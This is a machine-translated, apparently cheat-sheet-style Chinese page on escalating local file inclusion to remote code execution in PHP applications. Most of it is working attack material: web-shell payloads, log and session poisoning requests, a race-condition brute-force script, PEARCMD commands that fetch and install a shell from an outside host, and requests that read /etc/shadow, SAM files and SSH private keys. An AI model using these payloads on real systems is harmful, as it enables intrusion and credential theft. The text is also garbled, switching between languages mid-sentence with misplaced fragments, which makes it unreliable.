从LFI到RCE


文档摘要

从LFI到RCE LFI(本地文件包含)是一种漏洞,当Web应用程序从本地文件系统包含文件时就会发生,通常是由于对用户输入的处理不安全所致。如果攻击者能够控制文件路径,他们就有可能包含敏感或危险的文件,例如系统文件(/etc/passwd)、配置文件,甚至是可能导致远程代码执行(RCE)的恶意文件。 概述 通过 /proc//fd 实现 LFI 到 RCE 通过 /proc/self/environ 实现 LFI 到 RCE 通过 iconv 实现 LFI 到 RCE 通过上传实现 LFI 到 RCE 通过上传实现 LFI 到 RCE(竞态条件) 通过上传实现 LFI 到 RCE(FindFirstFile) 通过 phpinfo() 实现 LFI 到 RCE 通过受控日志文件实现 LFI

从LFI到RCE

LFI(本地文件包含)是一种漏洞,当Web应用程序从本地文件系统包含文件时就会发生,通常是由于对用户输入的处理不安全所致。如果攻击者能够控制文件路径,他们就有可能包含敏感或危险的文件,例如系统文件(/etc/passwd)、配置文件,甚至是可能导致远程代码执行(RCE)的恶意文件。

概述

通过 /proc/*/fd 实现 LFI 到 RCE

  1. 上传大量 Web Shell(例如:100 个)
  2. 包含 /proc/$PID/fd/$FD,其中 $PID 是进程的 PID,$FD 是文件描述符。两者都可以通过暴力破解来获取。
http://example.com/index.php?page=/proc/$PID/fd/$FD

通过 /proc/self/environ 实现 LFI 到 RCE

与日志文件类似,将有效载荷发送到 User-Agent header, it will be reflected inside the /proc/self/environ 文件中。

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1 User-Agent: <?=phpinfo(); ?>

通过 iconv 实现 LFI 到 RCE

使用 iconv 包装器在 glibc 中触发 OOB(CVE-2024-2961),然后利用你的 LFI 读取 /proc/self/maps and to download the glibc binary. Finally you get the RCE by exploiting the zend_mm_heap structure to call a free() that have been remapped to system using custom_heap._free.

Requirements:

  • PHP 7.0.0 (2015) to 8.3.7 (2024)
  • GNU C Library (glibc) <= 2.39
  • Access to convert.iconv, zlib.inflate, dechunk filters

Exploit:

LFI to RCE via upload

If you can upload a file, just inject the shell payload in it (e.g : <?php system($_GET['c']); ?> 中的内存区域。

http://example.com/index.php?page=path/to/uploaded/file.png

为了保持文件可读,最好将有效载荷注入图片、文档或 PDF 的元数据中。

通过上传实现 LFI 到 RCE(竞态条件)

  • 上传一个文件并触发自我包含。
  • 反复上传大量文件,以:
    • 提高赢得竞态条件的概率
    • 提高猜测文件名的概率
  • 暴力破解包含 /tmp/[0-9a-zA-Z]{6}
  • 享受你的 Web Shell。
import itertools import requests import sys print('[+] Trying to win the race') f = {'file': open('shell.php', 'rb')} for _ in range(4096 * 4096): requests.post('http://target.com/index.php?c=index.php', f) print('[+] Bruteforcing the inclusion') for fname in itertools.combinations(string.ascii_letters + string.digits, 6): url = 'http://target.com/index.php?c=/tmp/php' + fname r = requests.get(url) if 'load average' in r.text: # <?php echo system('uptime'); print('[+] We have got a shell: ' + url) sys.exit(0) print('[x] Something went wrong, please try again')

通过上传实现 LFI 到 RCE(FindFirstFile)

⚠️ 仅适用于 Windows

FindFirstFile allows using masks (<< as * and > as ?) in LFI paths on Windows. A mask is essentially a search pattern that can include wildcard characters, allowing users or developers to search for files or directories based on partial names or types. In the context of FindFirstFile, masks are used to filter and match the names of files or directories.

  • */<< : Represents any sequence of characters.
  • ?/> : Represents any single character.

Upload a file, it should be stored in the temp folder C:\Windows\Temp\ with a generated name like php[A-F0-9]{4}.tmp.
Then either bruteforce the 65536 filenames or use a wildcard character like: http://site/vuln.php?inc=c:\windows\temp\php<<

通过 phpinfo() 实现 LFI 到 RCE

PHPinfo() 会显示任何变量的内容,例如 _GET**、**_POST$_FILES

通过向 PHPInfo 脚本发送多个上传请求,并仔细控制读取操作,可以检索临时文件的名称,并向 LFI 脚本发出请求,指定临时文件的名称。

使用脚本 phpInfoLFI.py

通过受控日志文件实现 LFI 到 RCE

只需通过向服务(Apache、SSH 等)发送请求,将你的 PHP 代码追加到日志文件中,然后包含该日志文件。

http://example.com/index.php?page=/var/log/apache/access.log http://example.com/index.php?page=/var/log/apache/error.log http://example.com/index.php?page=/var/log/apache2/access.log http://example.com/index.php?page=/var/log/apache2/error.log http://example.com/index.php?page=/var/log/nginx/access.log http://example.com/index.php?page=/var/log/nginx/error.log http://example.com/index.php?page=/var/log/vsftpd.log http://example.com/index.php?page=/var/log/sshd.log http://example.com/index.php?page=/var/log/mail http://example.com/index.php?page=/var/log/httpd/error_log http://example.com/index.php?page=/usr/local/apache/log/error_log http://example.com/index.php?page=/usr/local/apache2/log/error_log

通过 SSH 实现 RCE

尝试使用 PHP 代码作为用户名 <?php system($_GET["cmd"]);?> 登录目标主机。

ssh <?php system($_GET["cmd"]);?>@10.10.10.10

然后在 Web 应用程序中包含 SSH 日志文件。

http://example.com/index.php?page=/var/log/auth.log&cmd=id

通过邮件实现 RCE

首先使用开放的 SMTP 发送电子邮件,然后包含位于 http://example.com/index.php?page=/var/log/mail 的日志文件。

root@kali:~# telnet 10.10.10.10. 25 Trying 10.10.10.10.... Connected to 10.10.10.10.. Escape character is '^]'. 220 straylight ESMTP Postfix (Debian/GNU) helo ok 250 straylight mail from: mail@example.com 250 2.1.0 Ok rcpt to: root 250 2.1.5 Ok data 354 End data with <CR><LF>.<CR><LF> subject: <?php echo system($_GET["cmd"]); ?> data2 .

在某些情况下,你也可以使用 mail 命令行发送邮件。

mail -s "<?php system($_GET['cmd']);?>" www-data@10.10.10.10. < /dev/null

通过 Apache 日志实现 RCE

在访问日志中污染 User-Agent:

curl http://example.org/ -A "<?php system(\$_GET['cmd']);?>"

注意:日志会转义双引号,因此在 PHP 有效载荷中使用单引号表示字符串。

然后通过 LFI 请求日志并执行你的命令。

curl http://example.org/test.php?page=/var/log/apache2/access.log&cmd=id

通过 PHP 会话实现 LFI 到 RCE

检查网站是否使用 PHP 会话(PHPSESSID)

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/ Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

在 PHP 中,这些会话存储在 /var/lib/php5/sess_[PHPSESSID] 或 /var/lib/php/sessions/sess_[PHPSESSID] 文件中。

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27. user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

将 Cookie 设置为 <?php system('cat /etc/passwd');?>

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

使用 LFI 包含 PHP 会话文件。

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27

通过 PHP PEARCMD 实现 LFI 到 RCE

PEAR 是一个用于可重用 PHP 组件的框架和分发系统。默认情况下,pearcmd.php is installed in every Docker PHP image from hub.docker.com in /usr/local/lib/php/pearcmd.php.

The file pearcmd.php uses $_SERVER['argv'] to get its arguments. The directive register_argc_argv must be set to On in PHP configuration (php.ini 对于本次攻击至关重要。

register_argc_argv = On

有以下几种利用方法:

  • 方法 1:config create

    /vuln.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=eval($_GET['cmd'])?>+/tmp/exec.php /vuln.php?file=/tmp/exec.php&cmd=phpinfo();die();
  • 方法 2:man_dir

    /vuln.php?file=/usr/local/lib/php/pearcmd.php&+-c+/tmp/exec.php+-d+man_dir=<?echo(system($_GET['c']));?>+-s+ /vuln.php?file=/tmp/exec.php&c=id

    创建的配置文件包含 Web Shell。

    #PEAR_Config 0.9 a:2:{s:10:"__channels";a:2:{s:12:"pecl.php.net";a:0:{}s:5:"__uri";a:0:{}}s:7:"man_dir";s:29:"<?echo(system($_GET['c']));?>";}
  • 方法 3:download(需要外部网络连接)。

    /vuln.php?file=/usr/local/lib/php/pearcmd.php&+download+http://<ip>:<port>/exec.php /vuln.php?file=exec.php&c=id
  • 方法 4:install(需要外部网络连接)。请注意,exec.php locates at /tmp/pear/download/exec.php

    /vuln.php?file=/usr/local/lib/php/pearcmd.php&+install+http://<ip>:<port>/exec.php /vuln.php?file=/tmp/pear/download/exec.php&c=id

通过凭据文件实现 LFI 到 RCE

此方法需要在应用程序中具有高权限,才能读取敏感文件。

Windows 版本

提取 sam and system 文件。

http://example.com/index.php?page=../../../../../../WINDOWS/repair/sam http://example.com/index.php?page=../../../../../../WINDOWS/repair/system

然后从这些文件中提取哈希值 samdump2 SYSTEM SAM > hashes.txt, and crack them with hashcat/john or replay them using the Pass The Hash technique.

Linux version

Extract /etc/shadow 文件。

http://example.com/index.php?page=../../../../../../etc/shadow

然后破解这些哈希值,以便通过 SSH 登录到目标机器。

另一种通过 LFI 获取 Linux 机器 SSH 访问权限的方式是读取私有 SSH 密钥文件:id_rsa.
If SSH is active, check which user is being used in the machine by including the content of /etc/passwd and try to access /<HOME>/.ssh/id_rsa,适用于每个拥有主目录的用户。

参考文献

免责声明
本文件由基于人工智能的机器翻译服务翻译而成。尽管我们力求翻译准确,但请注意,自动翻译可能包含错误或不准确之处。应以原始语言版本的文件为准。对于关键信息,建议使用专业人工翻译。对于因使用本翻译而产生的任何误解或误读,我们概不负责。


发布者: 作者: 转发
评论区 (0)
U